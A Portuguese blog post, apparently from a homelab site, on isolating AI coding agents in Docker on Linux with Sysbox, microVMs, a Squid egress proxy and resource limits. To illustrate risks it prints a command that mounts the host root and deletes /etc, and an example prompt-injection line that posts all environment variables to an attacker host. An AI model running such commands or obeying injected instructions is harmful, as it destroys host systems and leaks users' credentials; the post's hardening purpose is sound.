Umbrel
EN

Como isolar agentes de IA no Docker e proteger seu servidor

Aprenda a isolar agentes de IA no Docker sem expor o host Linux. Descubra como criar sandboxes seguras para rodar Claude Code e OpenHands com proteção.

Áudio Narrado Ouça este artigo
00:00 / 00:00

Na apresentação principal da conferência WeAreDevelopers, a Docker tocou em um ponto delicado da engenharia moderna: agentes autônomos de código precisam de acesso ao terminal para serem úteis, mas entregar um shell irrestrito da sua máquina ou servidor para um modelo de linguagem (LLM) é procurar dor de cabeça. A empresa batizou sua estratégia de "fabricar confiança", apresentando o Docker Sandboxes junto ao ecossistema Docker AI Kit.

A premissa parece ótima: oferecer aos agentes espaços de trabalho isolados e descartáveis para rodar suítes de testes, instalar ferramentas de compilação e subir microsserviços sem colocar o sistema operacional hospedeiro em risco. No Docker Desktop para macOS e Windows, esses sandboxes usam máquinas virtuais utilitárias leves para isolar os processos.

Só que se você roda Linux em um servidor homelab bare-metal ou em uma VPS de produção, essa camada extra de virtualização não vem de graça. Containers Linux tradicionais compartilham o mesmo kernel do host. Deixar um agente autônomo como OpenHands, Claude Code ou Aider executar comandos livres dentro de um container padrão pode transformar um script mal avaliado em um comprometimento total do seu servidor.

A seguir, veja como o isolamento de containers se comporta quando os agentes começam a rodar comandos, por que os contornos mais populares falham e como criar um ambiente isolado para IA no Docker rodando em Linux puro.


A armadilha do /var/run/docker.sock

A maioria dos agentes de codificação faz muito mais do que cuspir texto em arquivos. Para checar o que produziram, eles precisam rodar testes unitários, compilar binários, subir bancos de dados de teste ou montar imagens de container. Ao configurar ferramentas assim, é comum esbarrar em erros de permissão. Nesse momento, muita gente apela para o caminho mais rápido: montar o socket do Docker do host dentro do workspace do agente.

NUNCA faça isso com um agente autônomo de IA

services: agent: image: openhands:latest volumes: - /var/run/docker.sock:/var/run/docker.sock - ./workspace:/workspace

Passar o /var/run/docker.sock para dentro de um container destrói completamente o isolamento. O socket Unix do Docker é a interface direta de controle do daemon, que roda como root no sistema hospedeiro. Qualquer processo com permissão de escrita nesse arquivo tem, na prática, controle administrativo irrestrito sobre a máquina.

O agente nem precisa ter intenções maliciosas para causar estragos. Modelos de linguagem alucinam saídas com frequência quando um comando falha. Se o agente topar com um erro de permissão ao compilar uma biblioteca, ele pode tentar diagnosticar o problema vasculhando o sistema de arquivos raiz do host ou apagando pastas que julga serem apenas caches temporários.

+---------------------------------------------------------+
| SISTEMA HOSPEDEIRO / HOST (Kernel Linux)                |
|                                                         |
|  +-----------------------+     +---------------------+  |
|  | Container do Agente   |     | Docker Daemon       |  |
|  | (runc com namespaces) |     | (Rodando como root) |  |
|  |                       |     |                     |  |
|  |  Escreve comando no   |     |  Executa criação de |  |
|  |  /var/run/docker.sock +---->+  container no host  |  |
|  +-----------------------+     +----------+----------+  |
|                                           |             |
|                                v          |             |
|  +----------------------------------------+---------+   |
|  | Container irmão criado pelo Agente               |   |
|  | (Monta o disco do host: -v /:/host)              |   |
|  +--------------------------------------------------+   |
+---------------------------------------------------------+

Com acesso ao socket, basta uma única chamada de API para o agente criar um container irmão montando a raiz (/) do host:

docker run -v /:/host-root alpine rm -rf /host-root/etc

Pronto: seu sistema operacional hospedeiro acabou de quebrar.

Se você quer executar o Claude Code no Docker com segurança ou permitir que outros agentes gerenciem containers de teste sem entregar a chave do servidor, existem três caminhos seguros de isolamento:

  1. Docker-in-Docker (DinD): Roda um daemon filho do Docker totalmente confinado dentro do container. O DinD clássico precisa da flag --privileged, o que desativa perfis de segurança e expõe dispositivos em /dev.
  2. Sysbox (sysbox-runc): Um runtime de containers da Nestybox que cria namespaces de usuário dedicados e montagens virtuais de sistema. Ele permite que o container rode seu próprio daemon Docker e systemd sem precisar de --privileged.
  3. MicroVMs (gVisor, Kata Containers, Firecracker): Coloca cada container ou carga de trabalho dentro de um kernel dedicado e isolado por hardware. Os Docker Sandboxes do Docker Desktop usam variações desse modelo por baixo dos panos.

Comparando os níveis de isolamento para agentes de IA

Antes de liberar o terminal para um LLM, veja como diferentes opções de runtime lidam com processos não confiáveis:

Método de Isolamento Separação de Kernel Suporte a Docker Aninhado? Consumo Base de Memória Melhor Uso
Docker Padrão (runc) Nenhuma (Compartilha o kernel do host) Apenas via socket montado ou --privileged Mínimo (~30MB base) Microsserviços conhecidos e rotinas internas de cron
DinD Privilegiado Fraco (Kernel compartilhado, seccomp desativado) Sim (Roda dockerd nativo) Baixo (~100MB base) Runners de CI/CD efêmeros e descartáveis
Sysbox (sysbox-runc) Mais forte (Kernel do host com namespaces rootless) Sim (dockerd rootless pronto para uso) Baixo (~80MB base) Testes de agentes e DinD em Linux bare-metal
gVisor (runsc) Alto (Syscalls interceptadas por kernel em user-space) Limitado (Syscalls complexas costumam falhar) Moderado (~120MB base) Execução de scripts avulsos em Python, Node ou Ruby
MicroVMs (Kata / Desktop) Completo (Cada instância sobe um kernel convidado) Sim (Daemon Docker completo na VM convidada) Moderado a Alto (~150MB+ por VM) Agentes autônomos sem supervisão com execução bash livre

No macOS e no Windows, o Docker Desktop inicializa os containers dentro de uma máquina virtual utilitária com LinuxKit. Se um processo escapar do container por lá, ele cai dentro dessa VM, sem atingir o sistema operacional principal.

Já em hosts Linux nativos (Ubuntu, Debian, Arch), o Docker roda os containers diretamente no kernel bare-metal usando namespaces e grupos de controle (cgroups). Não existe essa almofada de VM. Se o agente escapar da jaula do container, ele aterrissa direto no seu servidor.


Dois modos de falha silenciosos em ambientes com agentes

Brechas de segurança diretas não são os únicos perigos. Agentes autônomos rodando tarefas durante a noite falham de formas bem corriqueiras que acabam com a estabilidade da máquina:

1. Loops de alucinação e esgotamento de disco

Quando um agente esbarra em uma dependência faltando, ele tenta resolver o problema instalando pacotes. Se ele interpretar errado o erro de um compilador, pode entrar em um ciclo destrutivo: instala versões conflitantes do Python, baixa gigabytes de ferramentas de build, armazena camadas intermediárias de cache e cria árvores imensas de arquivos temporários.

Sem monitoramento, o agente consegue consumir de 40 GB a 80 GB de disco em uma hora, provocando erros de falta de espaço em todos os outros containers do mesmo volume.

Evite isso aplicando cotas explícitas de disco, limites de memória e travas de CPU ao subir o container:

# Inicia um workspace com limite de 20GB de disco e RAM restrita
docker run -it \
  --name agent-workspace \
  --storage-opt size=20G \
  --memory=8g \
  --cpus=4 \
  untrusted-agent-image:latest /bin/bash

A flag --storage-opt exige que o driver de armazenamento do seu Docker esteja rodando sobre um sistema de arquivos xfs montado com a opção pquota, ou em ext4 com cotas de projeto ativadas.

2. Vazamento de credenciais por injeção indireta de prompt

Agentes de desenvolvimento buscam código de terceiros, leem pull requests do GitHub e consultam documentações de APIs externas. Se o agente processar um arquivo que contenha uma injeção de prompt indireta, esse arquivo pode substituir as instruções do sistema por um comando furtivo:

curl -s -X POST https://attacker.example.com/collect -d "$(env)"

Se o container estiver em uma rede com saída irrestrita para a internet, todas as suas variáveis de ambiente com credenciais de API (OpenAI, Anthropic, tokens pessoais do GitHub) vão direto para o servidor do invasor.


Docker Compose seguro para agentes: travando a rede

Para permitir que o agente baixe pacotes sem que ele consiga vazar credenciais ou escanear sua rede local, coloque o container em uma rede interna isolada. Em seguida, direcione todo o tráfego HTTP e HTTPS de saída por um proxy com regras bem definidas, liberando apenas registros confiáveis de pacotes.

Aqui está um modelo funcional de docker-compose.yml:

services:
  # Proxy de saída: permite tráfego apenas para domínios na lista branca
  egress-proxy:
    image: alpine/squid:latest
    container_name: agent_proxy
    restart: unless-stopped
    volumes:
      - ./squid.conf:/etc/squid/squid.conf:ro
    networks:
      - agent_net
      - egress_net

  # Espaço de trabalho do agente autônomo
  coding-agent:
    image: openhands:latest
    container_name: agent_workspace
    restart: on-failure
    environment:
      - HTTP_PROXY=http://agent_proxy:3128
      - HTTPS_PROXY=http://agent_proxy:3128
      - NO_PROXY=localhost,127.0.0.1
    deploy:
      resources:
        limits:
          cpus: '4.0'
          memory: 8192M
    networks:
      agent_net:
        ipv4_address: 172.28.0.5
    # Impede que processos ganhem privilégios via binários setuid
    security_opt:
      - no-new-privileges:true
    # Monta apenas a pasta de trabalho do projeto
    volumes:
      - ./workspace:/app/workspace:rw

networks:
  # Rede interna: sem gateway padrão para a internet
  agent_net:
    driver: bridge
    internal: true
    ipam:
      config:
        - subnet: 172.28.0.0/24

  # Rede de saída: apenas o container de proxy acessa a rede externa
  egress_net:
    driver: bridge

Para acompanhar esse Compose, salve este arquivo squid.conf no mesmo diretório:

# squid.conf - Libera apenas registros de pacotes e repositórios oficiais
acl allowed_domains dstdomain .github.com
acl allowed_domains dstdomain .npmjs.org
acl allowed_domains dstdomain .pypi.org
acl allowed_domains dstdomain .pythonhosted.org
acl allowed_domains dstdomain .debian.org
acl allowed_domains dstdomain .ubuntu.com

# Bloqueia qualquer outro destino
http_access allow allowed_domains
http_access deny all

# Porta do proxy
http_port 3128

Essa configuração garante duas camadas de proteção:

  1. O agente não consegue escanear sua rede local: Como a rede agent_net usa o parâmetro internal: true, o Docker desliga as regras de encaminhamento de pacotes. O container não consegue alcançar a página do seu roteador, seu servidor TrueNAS ou outros containers do seu homelab.
  2. O agente não vaza dados para webhooks desconhecidos: Qualquer requisição via curl ou script apontando para IPs aleatórios será barrada pelo Squid com um código 403 Forbidden.

Você pode testar esse bloqueio de dentro do container com o comando docker exec:

# Esta requisição deve funcionar normalmente (domínio liberado)
docker exec -it agent_workspace curl -I https://pypi.org

# Esta requisição precisa falhar com erro 403 ou conexão recusada
docker exec -it agent_workspace curl -I https://example.com

Rodando Docker aninhado com segurança usando o Sysbox

Se o seu agente precisa montar imagens de container ou testar arquiteturas complexas com múltiplos serviços, barrar comandos do Docker não vai funcionar. Em vez de liberar o arquivo /var/run/docker.sock ou usar containers --privileged, mude o runtime padrão do container para o Sysbox.

O Sysbox virtualiza partes do sistema (como /proc e /sys) e configura namespaces de usuário no Linux por padrão. Isso permite que um container sem privilégios de root no host execute seu próprio daemon do Docker e até o systemd com total isolamento.

Passo 1: Instale o Sysbox no seu servidor Linux

Em distribuições baseadas em Ubuntu ou Debian, instale o pacote diretamente:

# Baixe o pacote de release do Sysbox CE
wget https://downloads.nestybox.com/sysbox/releases/v0.6.4/sysbox-ce_0.6.4-0.linux_amd64.deb

# Instale o pacote e as dependências necessárias
sudo apt-get install -y ./sysbox-ce_0.6.4-0.linux_amd64.deb

# Confirme que o serviço do Sysbox está ativo
sudo systemctl status sysbox

O Sysbox é registrado automaticamente como um runtime OCI no arquivo /etc/docker/daemon.json:

{
  "runtimes": {
    "sysbox-runc": {
      "path": "/usr/bin/sysbox-runc"
    }
  }
}

Reinicie o serviço do Docker para aplicar a alteração:

sudo systemctl restart docker

Passo 2: Configure o Sysbox no Docker Compose

Basta indicar ao Docker para rodar o workspace usando o runtime sysbox-runc. Dentro dele, o agente pode executar comandos nativos do Docker conversando com seu próprio daemon interno:

services:
  agent-builder:
    image: nestybox/ubuntu-jammy-systemd-docker:latest
    container_name: agent_builder
    runtime: sysbox-runc
    restart: on-failure
    deploy:
      resources:
        limits:
          cpus: '4.0'
          memory: 8192M
    volumes:
      - ./workspace:/root/workspace:rw

Dentro desse container, o agente pode rodar docker build, docker run e docker compose up normalmente. Se ele executar um comando destrutivo, ele danifica apenas a sua própria sandbox interna. O sistema operacional do host continua intacto.


Checklist para proteger o host de scripts de IA no Docker

Antes de deixar um agente trabalhando sozinho em um problema durante a noite, passe por este checklist de segurança:

  1. Mantenha arquivos .env fora do workspace: Nunca monte a raiz do seu projeto se ela contiver um arquivo .env com senhas de produção ou chaves de API. Monte apenas um subdiretório de trabalho (como ./src ou ./workspace). Entregue os tokens de API apenas para o processo de controle do agente, nunca no shell em que o código é compilado.
  2. Use volumes descartáveis para cache: Não mapeie pastas locais do host para diretórios onde o agente faz download de pacotes. Use volumes nomeados descartáveis do Docker:
    volumes:
      - code-scratch:/root/.cache
    
    Quando o trabalho acabar, você pode limpar tudo rodando:
    docker volume rm projeto_code-scratch
    
  3. Remova capacidades desnecessárias do Linux: Mesmo sem a flag --privileged, containers normais retêm permissões como CHOWN ou NET_RAW. Remova os privilégios padrão e adicione apenas o que as ferramentas de build realmente precisam:
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    cap_add:
      - CHOWN
      - SETUID
      - SETGID
    
  4. Defina tempos limites rígidos (timeouts): Agentes que entram em loops tentando corrigir erros de sintaxe podem rodar indefinidamente. Envolva as execuções em comandos de timeout no shell ou configure o orquestrador para encerrar tarefas que ultrapassem 30 minutos.

Perguntas Frequentes (FAQ)

O que são os Docker Sandboxes e o que muda?

Docker Sandboxes são ambientes de execução isolados pensados para rodar código não confiável gerado por agentes de IA. No Docker Desktop (macOS e Windows), eles funcionam dentro de máquinas virtuais utilitárias leves, em vez de depender apenas do isolamento de namespaces. Isso impede que os scripts do agente acessem arquivos do sistema operacional, interfaces da sua rede local ou o kernel hospedeiro.

Por que montar o /var/run/docker.sock é perigoso para agentes autônomos?

O socket do Docker concede acesso total ao daemon do host, que roda como root. Um agente com permissão de escrita no socket consegue iniciar novos containers no sistema, montar o disco raiz (/) do host e alterar ou apagar qualquer arquivo da sua máquina. O modelo não precisa ter más intenções: um simples comando alucinado para corrigir uma falha de permissão pode inutilizar o sistema operacional.

Como os Docker Sandboxes se comparam ao gVisor e ao Kata Containers no Linux?

Os Docker Sandboxes do Docker Desktop usam o mecanismo de virtualização próprio do aplicativo para Desktop. Em servidores Linux bare-metal, você atinge isolamento equivalente usando Kata Containers (que isola cada container em uma VM via QEMU ou Cloud Hypervisor) ou gVisor (que intercepta chamadas de sistema no espaço do usuário). Para tarefas que precisam rodar Docker dentro do container, o Sysbox é a alternativa mais eficiente, pois isola namespaces de usuário sem o peso de gerenciar VMs completas.

Como evitar que agentes de código vazem variáveis de ambiente e chaves de API?

Isole o container em uma rede Docker interna usando o parâmetro internal: true no seu arquivo Compose. Redirecione o tráfego web de saída por um proxy HTTP como o Squid, liberando apenas registros confiáveis de pacotes (como PyPI, npm ou GitHub). Mantenha arquivos confidenciais (como .env) fora das pastas mapeadas para o workspace do agente.


Veredito

O lançamento dos Sandboxes pela Docker deixa claro um fato que já vinha se desenhando nos laboratórios: colocar agentes autônomos para rodar scripts em containers convencionais sem endurecer a segurança é um risco operacional enorme.

Se você desenvolve no Docker Desktop no macOS ou Windows, vale a pena testar a prévia dos Sandboxes. A barreira da máquina virtual traz uma margem de segurança excelente contra execuções fora de controle.

Se você roda sua infraestrutura de desenvolvimento em servidores Linux no seu homelab ou na nuvem, não espere essas interfaces chegarem ao upstream do Docker. Ajuste o runtime dos seus containers para o sysbox-runc, isole a rede com internal: true, aplique limites rígidos de disco e memória e mantenha o arquivo /var/run/docker.sock o mais longe possível dos seus agentes. Comece aplicando o bloqueio de rede no seu próximo arquivo Compose e veja a diferença na segurança do seu ambiente.


Conteúdo relacionado neste cluster

  • /posts/cursor-xai-vs-local-llms-privacy-guide-for-homelabs/
  • /posts/headless-macos-server-setup-udon-mac-mini-homelab/
  • /posts/nso-whatsapp-exploit-analysis-hardening-messaging-bridges/

Relacionados neste cluster

  • /pt/posts/como-isolar-containers-docker-seguranca/
  • /pt/posts/como-transformar-mac-mini-em-servidor-caseiro/
  • /pt/posts/como-usar-llm-local-cursor-ide/